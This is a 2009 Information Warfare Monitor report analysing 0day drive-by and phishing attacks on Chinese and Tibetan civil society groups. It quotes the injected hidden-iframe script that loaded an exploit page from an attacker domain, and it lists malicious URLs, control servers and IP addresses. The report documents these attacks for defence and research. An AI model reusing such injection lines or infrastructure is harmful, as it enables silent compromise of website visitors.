“0day”: Civil Society and Cyber Security



by Nart Villeneuve & Greg Walton

Civil society organizations face a wide range of online security threats that they are often ill equipped to defend. The lack of both resources and training leaves many organizations vulnerable to even basic Internet-based attacks.

However, civil society organizations are being compromised by attackers using “0day” exploits – vulnerabilities for which there is no patch of “fix” available from the software vendor. Therefore, even if all the software a civil society organization is using is completely up-to-date it is still vulnerable. This results in a situation in which even organizations and individuals with reasonable levels of security are under threat.

It is difficult to determine who is behind the attacks and there may be no intent to target civil society specifically. Perhaps using a human rights themed email in a social engineering attack might just be a convenient way to get peoples’ attention and compromise computer systems. Moreover, it remains unclear if the attackers were able to acquire 0day exploits before they became public, or if they simply quickly leveraged after they became publicly available and before there was a vendor supplied security patch.

Therefore, in this post we explore cases in which there is a some form of relationship between 0day exploits and their use against civil society organizations in an effort to understand the effect of these attacks given the difficult nature of attribution.

In this investigation we discovered that a well known site, 64tianwang.com, had been compromised and was propagating 0day exploits. Moreover, we found similar attacks specifically targeting the Tibetan community.1 The second case used the high profile case of Tibetan filmmaker Dhondup Wangchen as bait. These attacks were so successful that Reporters Without Borders unknowingly propagated a link to a malicious website posing as a Facebook petition to release Dhondup Wangchen.

Summary

  • Civil society organizations are compromised and used as vehicles to deliver 0day exploits
  • Attackers have access to multiple 0day exploits and switch their attacks to leverage newer exploits as they become available
  • Attackers leverage human rights issues as the context for malware distribution
  • The attacks are effective; civil society organizations continue to propagate malicious links within their communities without realizing it.

Background

There is a wealth of information studying 0day malware attacks emanating from locations such as Russia and China. These reports document the ability of the attackers to leverage 0day exploits in their attacks:

One of the most striking features of these attacks is how quickly they adapt new exploits to their
infrastructure. Immediately after the release of a recent IE7 0day exploit, these attackers integrated the new technique into their framework.2

However, these reports do not focus on explicitly political attacks but integrate a variety of threats including fraud, acquiring gaming credentials and in general the theft of information. But the exploration of politically motivated malware attacks using 0day exploits is certainly nothing new.

Maarten Van Horenbeeck has been documenting targeted malware attacks leveled against a variety of targets including civil society organizations.3 Van Horenbeeck documented the use of what he refers to as “custom vulnerability development” as well as known attacks.4 These attacks targeted NGO’s, the Tibetan community as well as the Falun Gong movement. Van Horenbeeck’s research showed that some of the same control servers used in these types of attacks were also involved in attacks on a variety of other targets including the United States government, defense contractors and Japanese companies.5

Our own previous investigations revealed connections between 0day malware and politically motivated attacks. During the “GhostNet” investigation we found that on September 11, 2008 the Tibetan Government-in-Exile in Dharamsala, India was infected with a malware that connected back to the domain control server on 221.10.254.248 using the host name 927.bigwww.com (221.10.254.248).6 On December 10, 2008 this same domain name appeared on a list of domain names serving a 0day exploit for Internet Explorer 7 compiled by the Shadowserver Foundation.7

In addition, computers located at the Office of His Holiness the Dalai Lama (OHHDL) as well as a Tibetan NGO called Drewla had bee compromised by a malware network which used www.lookbytheway.net and www.macfeeresponse.org as control servers. This malware network is well known and has been linked to a variety of attacks including the JBIG2 buffer overflow vulnerability.8 At Drewla we also found a computer connection to a control server, dns3.westcowboy.com, that was documented by Maarten Van Horenbeeck9 as well as connections to religion.xicp.net which was reportedly serving a 0day in February 2009.10

Investigation

On 2009-07-06 ISC SANS posted a list of domain that were hosting 0day Internet Explorer exploits and 64tianwang.com was on the list.11 64tianwang.com is a well known organization set up in 1998 to help find missing persons in China, particularly victims of human trafficking. The organization expanded its mission to focus widely on human rights and had to move their website overseas after it was shut down by Chinese authorities.12 The organization’s founder, Huang Qi, was arrested several times and was imprisoned from June 2000 to June 2005. He is currently in detention awaiting trial.1314 The 64tianwang.com has previously been a target for internet-based attacks.15

An examination the source of http://www.64tianwang.com/index.htm revealed an iframe. The 64tianwang.com server was likely compromised and the malicious iframe was inserted into the legitimate content on the page. In fact, we have see “iframe attacks” affect a variety of organizations including the Foreign Correspondents’ Club of China (www.fccchina.org).16 Anyone visiting 64tianwang.com was loading a malicious page from rfsb.xicp.net:

document.write(“<iFraMe width=’0′ height=’0′ src=’hxxp://rfsb.xicp.net/css/a.htm’ frameborder=’0′>“);

The file, a.htm, contains malicious code that attempts to exploit Microsoft DirectShow.17 Anyone visiting 64tianwang.com using Internet Explorer was likely compromised.

Soon after the discovery of a new 0day exploit, this time in Microsoft Office, the attackers changed the directory used in the initial attack, “css”, to “cssbak” and began serving the Microsoft Office Web Components 0day in the “css” directory instead.18 Several versions of Microsoft Office were affected and anyone visiting this malicious page could be compromised even of their security updates were current.19

The details for the malicious website are:

Name: rfsb.xicp.net
Address: 222.223.89.17
netname: CHINANET-HE
descr: CHINANET hebei province network
descr: China Telecom
country: CN

Our investigation discovered that rfsb.xicp.net (222.223.89.17) is also hosting some phishing pages posing at login screen for a variety of Chinese or Chinese language versions of email providers including: 126, 163, 21cn, Eyou, Hanmail, Hinet, Hotmail, QQ, Sina, Sohu, Tom, and Yahoo.

“Phishing” is a terms that refers to the fraudulent use of legitimate looking website to entice a using in revealing sensitive information such as user names and passwords.20 In this case, the attacks appear to be particularly interested in compromising users on Chinese email providers.

If users attempt to login to their email account, the credentials are forwarded to various servers under the attackers’ control:

121.22.23.254
netname: UNICOM-HE
descr: China Unicom Hebei province network
descr: China Unicom
country: CN

124.237.109.234
netname: CHINANET-HE
descr: CHINANET hebei province network
descr: China Telecom
country: CN

121.22.28.29
netname: QHD-YIWANGKEJI
descr: CNC Group CHINA169 Hebei Province Network
country: CN

222.223.89.17 (17.89.223.222.broad.qh.he.dynamic.163data.com.cn)
netname: CHINANET-HE
descr: CHINANET hebei province network
descr: China Telecom
country: CN

my218.3322.org (124.236.29.71, 71.29.236.124.broad.sj.he.dynamic.163data.com.cn)
netname: CHINANET-HE
descr: CHINANET hebei province network
descr: China Telecom
country: CN

The attackers use script that directs the users to a server under the control of the attacker and then redirects the user to the legitimate mail provider.

In the case of QQ the attackers used malicious flash files that connect out to a server under the attackers control.21

Interestingly, all the IP’s are in Hebei Province.

The sub-domain rfsb.xicp.net is on a free domain service *.xicp.net run by a Chinese registrar.22

Shortly thereafter, we were alerted to another malicious domain, dump.vicp.cc, which uses the same free domain service as rfsb.xicp.net. The malicious site, dump.vicp.cc, is also on the ISC SANS list of domains serving the Internet Explorer 0day exploit along with 64tianwang.com and rfsb.xicp.net.

This domain appeared in an email that was sent to the Tibetan community. The email comes from a GMail address with the name “Tseten Samdup.” Tseten Samdup is the name of the head of the Office of Tibet in Geneva, Switzerland.23

The email forwards an article from Reporters Without Borders (RSF) on the case of Tibetan documentary filmmaker Dhondup Wangchen. In addition to the RSF text, the email contains a link to a “Petition for the Release of Tibetan Filmmaker Dhondup Wangchen” hosted on Facebook which is sponsored by Students for a Free Tibet. However, the email also contains a link to hxxp://dump.vicp.cc/groups/articles.asp?n=3 which loads the real petition along with a malicious frame.

Subject: Re: Petition for Tibetan filmmaker’s
Date: Wed, 29 Jul 2009 22:52:26 +0800
From: Tseten Samdup
To: tsetenfreetibet@gmail.com

Here is the the petition lauched by SFT.

http://apps.facebook.com/causes/petitions/26?m=bcb306a2&recruiter_id=58958974&_fb_noscript=1

They have already collected 27,660 signatures.
Please sign your name if you have not.

Tseden Samdup

> ———- Forwarded message ———-
> From: RSF ASIA
> Date: Wed, Jul 29, 2009 at 8:05 AM
> Subject: Petition for Tibetan filmmaker’s
> To: tsetenfreetibet@gmail.com
>
>
> Reporters Without Borders/Reporters sans frontières
>
> 29 July 2009
>
> CHINA – TIBET
> More than 13,000 signatures on petition for Tibetan filmmaker’s release
> http://www.rsf.org/More-than-13-000-signatures-on.html
>
> Reporters Without Borders has given the Chinese authorities a petition
> calling for the release of Tibetan documentary filmmaker Dhondup Wangchen,
> who has been held since 23 March 2008 and is seriously ill with hepatitis B,
> which is not being properly treated. According to recent reports, he is now
> in a prison in Xining, the capital of Qinghai (a province adjoining Tibet).
>
> At the time of his arrest, Wangchen was completing a documentary about Tibet
> that was shown to foreign journalists in Beijing during the Olympic Games.
> He may be tried on charges of “separatism”.
>
> “There is an urgent need for the competent authorities to heed the appeal
> made by thousands of citizens around the world on behalf of a man whose only
> crime was to have filmed interviews,” Reporters Without Borders said. “The
> government should take account of Dhondup Wangchen’s state of health and
> free him on humanitarian grounds.”
>
> Reporters Without Borders handed in the petition today to the Chinese
> embassy in Paris. It was signed by 13,941 people, who included Tibetans,
> Indians, westerners, and eight Australian parliamentarians. Wangchen’s wife,
> Lhamo Tso, who is a refugee in northern India, collected several thousand
> signatures with the help of the Tibet Post (www.thetibetpost.com).
>
> See Lhamo Tso’s campaign video:
> http://www.dailymotion.com/relevance/search/Dhondup+Wangchen/video/x9zgcf_petition-pour-la-liberation-de-dhon_news
>
> Li Dunyong, a Chinese lawyer hired by the family to defend Wangchen, is
> meanwhile being denied access to him. Li has allowed to see him only once
> since the start of the year in April. Like many human rights lawyers in
> China, he is being harassed by the government, which is threatening to
> rescind his licence if he does not drop the case.
> Vincent Brossel
> Asia-Pacific Desk
> Reporters Without Borders
> 33 1 44 83 84 70
> asia@rsf.org

The second link, hxxp://dump.vicp.cc/groups/articles.asp?n=3, is a malicious link that loads the petition but has another frame (hxxp://dump.vicp.cc/groups/ie.html) that loads a 0day exploit for Adobe Flash.24

This page loads “xp.swf” and drops “zjss.exe” onto the system which attempts to connect to pop.lovenickel.com (66.36.242.59) on port 8080 (there is not currently anything running on 8080). (This same domain was used in a 2006 0day for Japanese word processing software).25

Also hosted in this sites is another page (hxxp://dump.vicp.cc/cach/news.asp?n=1) that uses http://www.leavingfearbehind.com as the bait. This is the website for the film “Leaving Fear Behind.” Dhondup Wangchen is director of the film.

In addition to loading the legitimate website, this link has another frame (hxxp://dump.vicp.cc/cach/error_01.htm) that loads the Microsoft Office Web Components 0day exploit.

The IP address for dump.vicp.cc 210.56.60.132 which is assigned to:

netname: SUN-NETWORK
descr: Sun Network (Hong Kong) Limited
descr: Internet Service Provider in Hong Kong
country: HK

Our investigation found that a malicious link also using www.leavingfearbehind.com as bait was posted in the comment section of BoingBoing on a post about the Uighur crisis.

In addition to an email that was released by Reporters Without Borders (RSF) a web page was also setup on the RSF web site that highlighted the fact that more than 13,000 people signed a petition to release Dhondup Wangchen. However, the page on the RSF web site contained the same link from the malicious email that included both the legitimate Facebook petition by Students for a Free Tibet as well as the malicious link to dump.vicp.cc.26

RSF promptly removed the malicious link after being alerted.

Conclusion

Our findings indicate that civil society organizations are compromised and used as vehicles to deliver 0day exploits to others (e.g. via malicious iframe inserted into a legitimate site). This means that (vulnerable) visitors to the site – many of whom may be staff and supporters of the specific organization – are likely to be compromised.

We have noticed that the attackers have access to multiple 0day exploits and switch their attacks to leverage newer exploits as they become available. While it remains unclear if the attackers were able to acquire these exploits before they became public, the fact that they are able to leverage 0day exploits quickly suggests that the attackers are closely monitoring their operations and have the capacity to adapt when necessary.

The attackers leverage human rights issues as the context for malware distribution in what are commonly called “social engineering” attacks. They will often send malicious emails to members, supporters and affiliates of civil society organizations. These emails are contextually relevant to the target organizations and contain a malicious attachment or link to a malicious site. The computer of the recipient will be compromised if he or she opens the attachment or visits the malicious website.

These attacks are effective. While it is difficult to determine the rate of successful exploitation, we often discover compromised computers at civil society organizations. Moreover, some of these social engineering attacks are so successful that civil society organizations continue to propagate malicious links within their communities without realizing it.

However, the murky questions of intent of the attackers as well responsibility for the attacks remain unclear. One could argue that the attacks are somewhat coincidental. The civil society organizations may just be running vulnerable software that was (automatically) exploited and used just like any other random target as a vehicle to propagate malware through the insertion of a malicious iframe. That is, there is no intent to target civil society specifically. Similarly, using a human rights themed email to in a social engineering attack might just be a convenient way to get peoples’ attention; it is not about targeting civil society per se, just that human rights is an appealing topic and people might more easily enticed to click on such a link.

An alternative explanation is that attackers are intent on targeting civil society and are developing and/or have access to 0day exploits that they actively deploy. There have been consistent reports of attacks against civil society and we are noticing an increasing level of contextual relevance in these attacks. Malicious emails appear to come from email accounts with legitimate names and contact information that are known to the targets. The text of the emails contain less spelling and grammatical errors and exploit legitimate email and petition campaigns. The level of specificity and intentionality exceeds the threshold for a group of attackers that simply wants to infect as many hosts as possible. On the contrary, these attacks actually may limit the total number of hosts but provide the attackers with politically sensitive hosts.

While we have no definitive answers concerning those behind these attacks, the result of using 0day exploits against civil society is that the exploitation rate is high. Moreover, the effect is that the community is being subjected to a form of intimidation and exploitation whether the attacks are intentional or not.

About IWM

The Information Warfare Monitor (www.infowar-monitor.net) is an advanced research activity tracking the emergence of cyberspace as a strategic domain. The IWM is public-private venture between two Canadian institutions: the Citizen Lab at the Munk Centre for International Studies, University of Toronto and The SecDev Group, an operational think tank based in a Ottawa (Canada).

About Malware Lab

The Malware Lab (www.malwarelab.org) is an independent research collective comprised of volunteers that investigates and reports on politically motivated malware attacks, primarily against civil society organizations. The Malware Lab combines technical data with socio-political contextual analysis in order to better understand the capabilities and motivations of the attackers as well as the overall effects and broader implications of targeted attacks.

Notes

1 To be clear, these attacks represent the use of malware by a wide variety of attackers and are not specifically linked to one another. They are included together as part of our analysis of the 0day threat that civil society organizations face.

2 http://www.blackhat.com/presentations/bh-dc-09/ValSmith/BlackHat-DC-09-valsmith-colin-Dissecting-Web-Attacks.pdf

3 http://www.daemon.be/maarten/Crouching_Powerpoint_Hidden_Trojan_24C3.pdf

4 http://isc.sans.org/presentations/SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf

5 http://isc.sans.org/presentations/SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf

6 http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network

7 http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20081210

8 http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20090219

9 http://isc.sans.org/diary.html?storyid=4177

10 http://www.malwaredomainlist.com/forums/index.php?topic=2564.0

11 http://isc.sans.org/diary.html?storyid=6739&rss

12 http://www.nytimes.com/2008/07/11/world/asia/11china.html?th=&emc=th&pagewanted=all

13 http://www.hrichina.org/public/contents/press?revision_id=147917&item_id=56408

14 http://www.amnesty.org/en/library/asset/ASA17/040/2009/en/9ede45c2-3943-4a5b-b75b-7ef68fb6d787/asa170402009en.html

15 http://www.ifex.org/china/2007/07/23/hackers_block_access_to_human_rights/

16 The FCCC’s WordPress installation was compromised and malicious iframes were inserted which loaded hxxp://www.nontopworld.com/homepage.htm and hxxp//http://www.nontopworld.com/mainpage.htm.

17 http://isc.sans.org/diary.html?storyid=6733

18 http://blog.fireeye.com/research/2009/07/who-is-exploiting-office-web-components-0day.html

19 http://blogs.technet.com/srd/archive/2009/07/13/more-information-about-the-office-web-components-activex-vulnerability.aspx

20 http://en.wikipedia.org/wiki/Phishing

21 http://wepawet.iseclab.org/view.php?hash=5f227eaf1e27d92a8c23e2daebbe4b2f&type=swf

22 http://domain.oray.cn/#tab=free

23 http://www.tibetoffice.ch/news/circular_oot_geneva_280308.htm

24 http://blog.fireeye.com/research/2009/07/who-is-exploiting-the-adobe-flash-0day-part-2.html

25 http://www.symantec.com/connect/blogs/justsystems-ichitaro-zero-day-used-propogate-trojan-0

26 The same page in the Google cache from a day earlier did not contain the malicious link.

Post a comment.